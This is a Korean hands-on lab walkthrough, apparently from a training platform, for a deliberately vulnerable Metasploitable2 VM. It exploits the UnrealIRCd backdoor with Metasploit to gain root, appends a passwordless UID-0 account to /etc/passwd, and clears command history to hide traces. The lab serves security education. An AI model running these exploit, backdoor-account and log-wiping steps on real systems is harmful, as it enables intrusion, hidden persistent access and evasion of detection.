소개
이 랩에서는 침투 공격을 통해 대상 시스템에 성공적으로 접근한 후 백도어를 생성하고 흔적을 지우는 방법을 배웁니다. 시나리오는 LabEx 환경에서 설정되며, Kali 터미널을 사용하여 Metasploitable2 대상 시스템의 취약점을 악용하고, root 권한을 얻고, 향후 접근을 위한 백도어를 생성하며, 공격 과정에서 남겨진 모든 흔적을 지웁니다.
이 랩에서는 침투 공격을 통해 대상 시스템에 성공적으로 접근한 후 백도어를 생성하고 흔적을 지우는 방법을 배웁니다. 시나리오는 LabEx 환경에서 설정되며, Kali 터미널을 사용하여 Metasploitable2 대상 시스템의 취약점을 악용하고, root 권한을 얻고, 향후 접근을 위한 백도어를 생성하며, 공격 과정에서 남겨진 모든 흔적을 지웁니다.
이 단계에서는 Unreal Ircd 취약점을 사용하여 대상 시스템에서 root 권한을 획득합니다.
이제 실험을 위해 공격 머신 (Kali Linux 컨테이너) 과 대상 머신 (Metasploitable2 가상 머신) 을 시작합니다.
sudo virsh start Metasploitable2
대상 머신이 시작될 때까지 기다립니다. 1-3 분 정도 걸릴 수 있습니다.
ping 192.168.122.102
Ctrl+C를 눌러 ping 을 중지합니다.
docker run -ti --network host b5b709a49cd5 bash
ping 192.168.122.102
Ctrl+C를 눌러 ping 을 중지합니다.
이제 공격 머신과 대상 머신이 모두 실행 중이며 침투 테스트를 시작할 수 있습니다.
참고: 실수로 현재 bash 를 종료하면 Kali 컨테이너가 자동으로 중지됩니다. 호스트에서 docker run -ti --network host b5b709a49cd5 bash를 다시 실행하여 새 Kali 컨테이너를 시작하고 bash 에 들어가 실험을 계속할 수 있습니다.
service postgresql start
msfdb init
cd ~
msfconsole
이렇게 하면 PostgreSQL 데이터베이스 서비스가 시작되고, 데이터베이스가 초기화되며, 추가 작업을 위해 Metasploit Framework Console (msfconsole) 이 시작됩니다.
search unreal_ircd
unix/irc/unreal_ircd_3281_backdoor 모듈을 사용합니다.use exploit/unix/irc/unreal_ircd_3281_backdoor
set RHOST 192.168.122.102
exploit
whoami
대상 시스템에서 root 권한을 얻었음을 확인할 수 있습니다.
Ctrl+D 를 눌러 Metasploit 콘솔을 종료한 다음 검사를 시작합니다.
이제 root 권한을 얻었으므로, 향후 대상 시스템에 접근하기 위한 백도어를 생성해 보겠습니다.
우선, Metasploit 콘솔에 있지 않다면 Metasploit 콘솔을 시작해야 합니다.
cd ~
msfconsole
그런 다음, 시스템 정보를 확인합니다.
uname -a
root 사용자의 bash 위치를 찾습니다.
cat /etc/passwd
비밀번호가 없는 백도어 계정을 생성합니다.
echo 'shiyanlou1234::0:0::/:/bin/sh' >> /etc/passwd
백도어 계정 생성을 확인합니다.
cat /etc/passwd
출력에서 새 계정 shiyanlou1234를 확인할 수 있습니다.
새 터미널을 열고 백도어 계정을 사용하여 대상 시스템에 연결합니다.
telnet 192.168.122.102
메시지가 표시되면 사용자 이름 shiyanlou1234를 입력합니다.
현재 사용자를 확인합니다.
whoami
백도어 사용자로 로그인했음을 확인할 수 있습니다.
Ctrl+D 를 눌러 Metasploit 콘솔을 종료한 다음 검사를 시작합니다.
접근 권한을 얻고 백도어를 생성한 후에는 공격 과정에서 남겨진 모든 흔적을 지워 탐지를 피하는 것이 중요합니다.
우선, Metasploit 콘솔에 있지 않다면 Metasploit 콘솔을 시작해야 합니다.
cd ~
msfconsole
흔적을 지우는 일반적인 방법 중 하나는 명령 기록을 삭제하는 것입니다. 기록은 .bash_history 파일에 저장됩니다. 다음 명령을 사용하여 기록을 지울 수 있습니다.
history -c
.bash_history 파일을 지우려면 find 명령을 사용하여 해당 위치를 찾을 수 있습니다.
find / -name .bash_history
Ctrl+D 를 눌러 Metasploit 콘솔을 종료한 다음 검사를 시작합니다.
이 랩에서는 Unreal Ircd 취약점을 사용하여 대상 시스템에서 root 권한을 얻고, 향후 접근을 위한 백도어 계정을 생성하며, 공격 과정에서 남겨진 흔적을 지우는 방법을 배웠습니다. 이 실습 경험은 성공적인 침투 공격 후 공격자가 지속적인 접근 권한을 유지하고 흔적을 은폐하기 위해 사용하는 기술을 이해하는 데 도움이 될 것입니다.